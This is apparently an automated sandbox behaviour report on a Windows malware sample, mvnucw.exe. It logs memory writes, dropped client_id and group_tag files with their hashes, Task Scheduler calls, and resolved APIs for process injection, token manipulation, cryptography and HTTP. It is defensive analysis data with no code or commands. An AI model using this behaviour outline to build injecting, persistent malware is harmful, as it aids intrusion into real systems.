Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019038, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019040, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 24 True 2
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019048, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 20 True 2
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019050, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019058, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019060, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019068, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019070, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 28 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019078, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 16 True 3
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019080, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019088, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019090, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019098, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400190a0, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400190a8, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400190b0, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400190b8, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019000, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019298, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400192a0, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400190c8, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400190d0, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400190d8, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400190e0, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400190e8, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x1400190f8, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019100, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019108, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019110, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019118, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019120, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019128, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019130, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019138, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019140, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 26 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019148, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019150, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019160, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019168, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019170, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019178, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x140019180, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x7fffffd6010, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x282830, size = 8 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x20010, size = 116 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x282848, size = 16 True 1
Fn
Data
Modify Memory #7: c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0xb6c address = 0x70000, size = 16 True 1
Fn
Data
Created Files
+
Filename File Size Hash Values YARA Match Actions
c:\users\adu0vk iwa5kls\appdata\roaming\winapp\client_id 0.10 KB (106 bytes) MD5: c9e2607b0faa2a1d36e4ebc553f41698
SHA1: b8c4d60f72d70bbf8ce3ff1e16f7fe659cda9821
SHA256: fa6c18a934575a42088ed671a0bb0de633b8f00e1226a38596f6b625c1455e3e
False
c:\users\adu0vk iwa5kls\appdata\roaming\winapp\group_tag 0.01 KB (12 bytes) MD5: 20d4581a76fac9a75b1300485c2c2ce4
SHA1: 56f0501fc59c0a9f5f6967cd7f03e5d4f5b8adf6
SHA256: 60e79d113cf1adb6e594a3ab1eef644f274cfaf004b576b6592da7aa6119b67d
False
Host Behavior
COM (7)
+
Operation Class Interface Additional Information Success Count Logfile
Create TaskScheduler ITaskService cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Create F5078F32-C551-11D3-89B9-0000F81FE221 2933BF81-7B36-11D2-B20E-00C04F983E60 cls_context = CLSCTX_INPROC_SERVER True 4
Fn
Execute TaskScheduler ITaskService method_name = Connect True 1
Fn
Execute TaskScheduler ITaskService method_name = GetFolder, path = \, new_interface = ITaskFolder True 1
Fn
File (15)
+
Operation Filename Additional Information Success Count Logfile
Create client_id desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\aDU0VK IWA5kLS\AppData\Roaming\client_id desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create client_id desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create config.conf desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create group_tag desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\aDU0VK IWA5kLS\AppData\Roaming\group_tag desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create group_tag desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create client_id desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create client_id desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create Directory Modules\ True 1
Fn
Get Info Modules\ type = file_attributes False 1
Fn
Get Info Modules\ type = file_attributes True 1
Fn
Read client_id size = 106, size_out = 106 True 1
Fn
Data
Write client_id size = 106 True 1
Fn
Data
Write group_tag size = 12 True 1
Fn
Data
Module (236)
+
Operation Module Additional Information Success Count Logfile
Load msvcrt.dll base_address = 0x0 True 1
Fn
Load KERNEL32.dll base_address = 0x0 True 1
Fn
Load ADVAPI32.dll base_address = 0x0 True 1
Fn
Load ole32.dll base_address = 0x0 True 1
Fn
Load OLEAUT32.dll base_address = 0x0 True 1
Fn
Load WINHTTP.dll base_address = 0x0 True 1
Fn
Load WS2_32.dll base_address = 0x0 True 1
Fn
Load kernel32.dll base_address = 0x77320000 True 2
Fn
Load ADVAPI32.dll base_address = 0x7fefdb00000 True 1
Fn
Load ole32.dll base_address = 0x7fefede0000 True 1
Fn
Load CRYPT32.dll base_address = 0x7fefd6f0000 True 1
Fn
Load SHLWAPI.dll base_address = 0x7feff2b0000 True 1
Fn
Load ntdll.dll base_address = 0x77540000 True 1
Fn
Load IPHLPAPI.dll base_address = 0x7fefb7e0000 True 1
Fn
Load USERENV.dll base_address = 0x7fefc840000 True 1
Fn
Load Ncrypt.dll base_address = 0x7fefcf20000 True 1
Fn
Load Bcrypt.dll base_address = 0x7fefcef0000 True 1
Fn
Get Handle private_0x0000000140000000 base_address = 0x140000000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x77320000 True 1
Fn
Get Filename WS2_32.dll process_name = c:\windows\system32\svchost.exe, file_name_orig = C:\Users\aDU0VK IWA5kLS\AppData\Roaming\winapp\Mvnucw.exe, size = 512 True 1
Fn
Get Filename WS2_32.dll process_name = c:\windows\system32\svchost.exe, file_name_orig = C:\Users\aDU0VK IWA5kLS\AppData\Roaming\winapp\Mvnucw.exe, size = 260 True 3
Fn
Get Address function = _fmode, ordinal = 0, address_out = 0x20017 True 1
Fn
Get Address function = _commode, ordinal = 0, address_out = 0x20019 True 1
Fn
Get Address function = ?terminate@@YAXXZ, ordinal = 0, address_out = 0x20022 True 1
Fn
Get Address function = __setusermatherr, ordinal = 0, address_out = 0x20021 True 1
Fn
Get Address function = memcpy, ordinal = 0, address_out = 0x20017 True 1
Fn
Get Address function = _wtoi, ordinal = 0, address_out = 0x20016 True 1
Fn
Get Address function = _amsg_exit, ordinal = 0, address_out = 0x2001b True 1
Fn
Get Address function = tolower, ordinal = 0, address_out = 0x20018 True 1
Fn
Get Address function = rand, ordinal = 0, address_out = 0x20015 True 1
Fn
Get Address function = ??_V@YAXPEAX@Z, ordinal = 0, address_out = 0x2001f True 1
Fn
Get Address function = _itow, ordinal = 0, address_out = 0x20016 True 1
Fn
Get Address function = _vsnprintf, ordinal = 0, address_out = 0x2001b True 1
Fn
Get Address function = exit, ordinal = 0, address_out = 0x20015 True 1
Fn
Get Address function = __wgetmainargs, ordinal = 0, address_out = 0x2001f True 1
Fn
Get Address function = __C_specific_handler, ordinal = 0, address_out = 0x20025 True 1
Fn
Get Address function = _XcptFilter, ordinal = 0, address_out = 0x2001c True 1
Fn
Get Address function = _exit, ordinal = 0, address_out = 0x20016 True 1
Fn
Get Address function = _cexit, ordinal = 0, address_out = 0x20017 True 1
Fn
Get Address function = _wcmdln, ordinal = 0, address_out = 0x20018 True 1
Fn
Get Address function = _initterm, ordinal = 0, address_out = 0x2001a True 1
Fn
Get Address function = _CxxThrowException, ordinal = 0, address_out = 0x20023 True 1
Fn
Get Address function = memset, ordinal = 0, address_out = 0x20017 True 1
Fn
Get Address function = ??1type_info@@UEAA@XZ, ordinal = 0, address_out = 0x20026 True 1
Fn
Get Address function = srand, ordinal = 0, address_out = 0x20016 True 1
Fn
Get Address function = _vsnwprintf, ordinal = 0, address_out = 0x2001c True 1
Fn
Get Address function = ??2@YAPEAX_K@Z, ordinal = 0, address_out = 0x2001f True 1
Fn
Get Address function = _time64, ordinal = 0, address_out = 0x20018 True 1
Fn
Get Address function = _localtime64, ordinal = 0, address_out = 0x2001d True 1
Fn
Get Address function = ??3@YAXPEAX@Z, ordinal = 0, address_out = 0x2001e True 1
Fn
Get Address function = wcsftime, ordinal = 0, address_out = 0x20019 True 1
Fn
Get Address function = __set_app_type, ordinal = 0, address_out = 0x2001f True 1
Fn
Get Address function = memcmp, ordinal = 0, address_out = 0x20017 True 1
Fn
Get Address function = UnhandledExceptionFilter, ordinal = 0, address_out = 0x20029 True 1
Fn
Get Address function = RtlLookupFunctionEntry, ordinal = 0, address_out = 0x20027 True 1
Fn
Get Address function = TerminateProcess, ordinal = 0, address_out = 0x20021 True 1
Fn
Get Address function = LocalFree, ordinal = 0, address_out = 0x2001a True 1
Fn
Get Address function = RtlCaptureContext, ordinal = 0, address_out = 0x20022 True 1
Fn
Get Address function = GetCurrentProcess, ordinal = 0, address_out = 0x20022 True 1
Fn
Get Address function = RtlVirtualUnwind, ordinal = 0, address_out = 0x20021 True 1
Fn
Get Address function = GetSystemTimeAsFileTime, ordinal = 0, address_out = 0x20028 True 1
Fn
Get Address function = GetCurrentProcessId, ordinal = 0, address_out = 0x20024 True 1
Fn
Get Address function = GetCurrentThreadId, ordinal = 0, address_out = 0x20023 True 1
Fn
Get Address function = GetTickCount, ordinal = 0, address_out = 0x2001d True 1
Fn
Get Address function = QueryPerformanceCounter, ordinal = 0, address_out = 0x20028 True 1
Fn
Get Address function = GetModuleHandleW, ordinal = 0, address_out = 0x20021 True 1
Fn
Get Address function = SetUnhandledExceptionFilter, ordinal = 0, address_out = 0x2002c True 1
Fn
Get Address function = GetStartupInfoW, ordinal = 0, address_out = 0x20020 True 1
Fn
Get Address function = GetFullPathNameW, ordinal = 0, address_out = 0x20021 True 1
Fn
Get Address function = lstrlenW, ordinal = 0, address_out = 0x20019 True 1
Fn
Get Address function = LoadLibraryA, ordinal = 0, address_out = 0x2001d True 1
Fn
Get Address function = GetProcAddress, ordinal = 0, address_out = 0x2001f True 1
Fn
Get Address function = GetLastError, ordinal = 0, address_out = 0x2001d True 1
Fn
Get Address function = LoadLibraryW, ordinal = 0, address_out = 0x2001d True 1
Fn
Get Address function = Sleep, ordinal = 0, address_out = 0x20016 True 1
Fn
Get Address function = AdjustTokenPrivileges, ordinal = 0, address_out = 0x20026 True 1
Fn
Get Address function = CoInitializeSecurity, ordinal = 0, address_out = 0x20025 True 1
Fn
Get Address function = CoInitializeEx, ordinal = 0, address_out = 0x2001f True 1
Fn
Get Address function = 0, ordinal = 4, address_out = 0x20000 True 1
Fn
Get Address function = 0, ordinal = 6, address_out = 0x20000 True 1
Fn
Get Address function = 0, ordinal = 8, address_out = 0x20000 True 1
Fn
Get Address function = 0, ordinal = 9, address_out = 0x20000 True 1
Fn
Get Address function = 0, ordinal = 2, address_out = 0x20000 True 1
Fn
Get Address function = WinHttpSendRequest, ordinal = 0, address_out = 0x20023 True 1
Fn
Get Address function = WinHttpSetTimeouts, ordinal = 0, address_out = 0x20023 True 1
Fn
Get Address function = WinHttpSetOption, ordinal = 0, address_out = 0x20021 True 1
Fn
Get Address function = WinHttpConnect, ordinal = 0, address_out = 0x2001f True 1
Fn
Get Address function = WinHttpCloseHandle, ordinal = 0, address_out = 0x20023 True 1
Fn
Get Address function = WinHttpQueryHeaders, ordinal = 0, address_out = 0x20024 True 1
Fn
Get Address function = WinHttpCrackUrl, ordinal = 0, address_out = 0x20020 True 1
Fn
Get Address function = WinHttpReadData, ordinal = 0, address_out = 0x20020 True 1
Fn
Get Address function = WinHttpOpenRequest, ordinal = 0, address_out = 0x20023 True 1
Fn
Get Address function = WinHttpOpen, ordinal = 0, address_out = 0x2001c True 1
Fn
Get Address function = WinHttpQueryDataAvailable, ordinal = 0, address_out = 0x2002a True 1
Fn
Get Address function = WinHttpReceiveResponse, ordinal = 0, address_out = 0x20027 True 1
Fn
Get Address function = getaddrinfo, ordinal = 0, address_out = 0x2001c True 1
Fn
Get Address function = 0, ordinal = 115, address_out = 0x20000 True 1
Fn
Get Address function = 0, ordinal = 57, address_out = 0x20000 True 1
Fn
Get Address function = 0, ordinal = 116, address_out = 0x20000 True 1
Fn
Get Address function = freeaddrinfo, ordinal = 0, address_out = 0x2001d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateThread, address_out = 0x77336580 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetComputerNameW, address_out = 0x7732d130 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcmpW, address_out = 0x7733d9c0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrlenW, address_out = 0x77333ec0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFullPathNameW, address_out = 0x773376e0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FindFirstFileW, address_out = 0x7733bd80 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FindResourceW, address_out = 0x77339b50 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FreeLibrary, address_out = 0x77336620 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LoadResource, address_out = 0x773398c0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleW, address_out = 0x77343730 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetFileTime, address_out = 0x77333880 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcpynW, address_out = 0x7736bab0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetLastError, address_out = 0x77342dd0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FindClose, address_out = 0x7733bd60 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LockResource, address_out = 0x77328720 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetSystemInfo, address_out = 0x77336f70 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FindNextFileW, address_out = 0x77331910 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFileTime, address_out = 0x77324f80 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LoadLibraryA, address_out = 0x77337070 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcmpA, address_out = 0x77381230 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetFileAttributesW, address_out = 0x773337a0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateDirectoryW, address_out = 0x7732ad70 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WaitForSingleObject, address_out = 0x77342b20 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SignalObjectAndWait, address_out = 0x77392c90 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetEvent, address_out = 0x77333f00 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateRemoteThread, address_out = 0x7736c4f0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = OpenProcess, address_out = 0x7733cad0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualFreeEx, address_out = 0x7736bb90 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ReadProcessMemory, address_out = 0x7736bdc0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TerminateProcess, address_out = 0x7736bca0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualProtectEx, address_out = 0x7736bb70 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualAllocEx, address_out = 0x7736bbd0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ResetEvent, address_out = 0x7732d9a0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetExitCodeThread, address_out = 0x77331130 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateEventW, address_out = 0x77335290 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = DuplicateHandle, address_out = 0x77335d10 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WriteProcessMemory, address_out = 0x7736bad0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ResumeThread, address_out = 0x773313a0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateMutexW, address_out = 0x773313c0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LocalFree, address_out = 0x773347a0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcpyW, address_out = 0x7736e0d0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = DeleteFileW, address_out = 0x7732ad90 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetCurrentDirectoryW, address_out = 0x7733cab0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = EnterCriticalSection, address_out = 0x77592fc0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = MoveFileW, address_out = 0x773af7f0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetTempPathW, address_out = 0x77382040 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetStartupInfoW, address_out = 0x77338070 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleFileNameW, address_out = 0x77337700 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFileAttributesW, address_out = 0x7733bdd0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LeaveCriticalSection, address_out = 0x77593000 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Sleep, address_out = 0x77342b70 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x773364e0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetTickCount, address_out = 0x77342b00 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = MoveFileExW, address_out = 0x77323060 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateProcessW, address_out = 0x77341bb0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetTempFileNameW, address_out = 0x7736c030 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcmpiW, address_out = 0x77331930 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateFileW, address_out = 0x77331870 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ReadFile, address_out = 0x77331500 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WriteFile, address_out = 0x773435a0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetFilePointer, address_out = 0x77331150 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetVersion, address_out = 0x773301d0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CloseHandle, address_out = 0x77342f80 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetVersionExW, address_out = 0x7732d910 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcess, address_out = 0x77335cf0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x77333f40 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcessId, address_out = 0x77335a50 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrlenA, address_out = 0x7733caf0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x773b9330 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x77339b70 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentThreadId, address_out = 0x77333ee0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = QueryPerformanceCounter, address_out = 0x77336500 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleA, address_out = 0x773365e0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WideCharToMultiByte, address_out = 0x773435f0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = MultiByteToWideChar, address_out = 0x77335b50 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Process32FirstW, address_out = 0x77321e00 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Process32NextW, address_out = 0x773220f0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x773221e0 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = GetUserNameW, address_out = 0x7fefdb11fd0 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = GetTokenInformation, address_out = 0x7fefdb1bd50 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = LookupAccountSidW, address_out = 0x7fefdb1b898 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = DuplicateTokenEx, address_out = 0x7fefdb0d310 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CreateProcessAsUserW, address_out = 0x7fefdb0afe8 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = EqualSid, address_out = 0x7fefdb1b820 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = OpenProcessToken, address_out = 0x7fefdb1bd70 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = FreeSid, address_out = 0x7fefdb1b818 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = AllocateAndInitializeSid, address_out = 0x7fefdb1b63c True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptDestroyKey, address_out = 0x7fefdb0afa0 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptHashData, address_out = 0x7fefdb0dac0 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptDestroyHash, address_out = 0x7fefdb0db00 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptDecrypt, address_out = 0x7fefdb3b6d0 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptCreateHash, address_out = 0x7fefdb0dad4 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptImportKey, address_out = 0x7fefdb0af6c True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = ConvertStringSecurityDescriptorToSecurityDescriptorW, address_out = 0x7fefdb12040 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptReleaseContext, address_out = 0x7fefdb0dd10 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptSetKeyParam, address_out = 0x7fefdb3b508 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptAcquireContextW, address_out = 0x7fefdb0d98c True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptGetHashParam, address_out = 0x7fefdb0db20 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = LookupPrivilegeValueW, address_out = 0x7fefdb1b9e0 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = AdjustTokenPrivileges, address_out = 0x7fefdb1b9b0 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RevertToSelf, address_out = 0x7fefdb0dd00 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoCreateInstance, address_out = 0x7fefee07490 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoUninitialize, address_out = 0x7fefee01314 True 1
Fn
Get Address Unknown module name function = CryptStringToBinaryW, address_out = 0x7fefd73e9a0 True 1
Fn
Get Address Unknown module name function = CryptBinaryToStringW, address_out = 0x7fefd724198 True 1
Fn
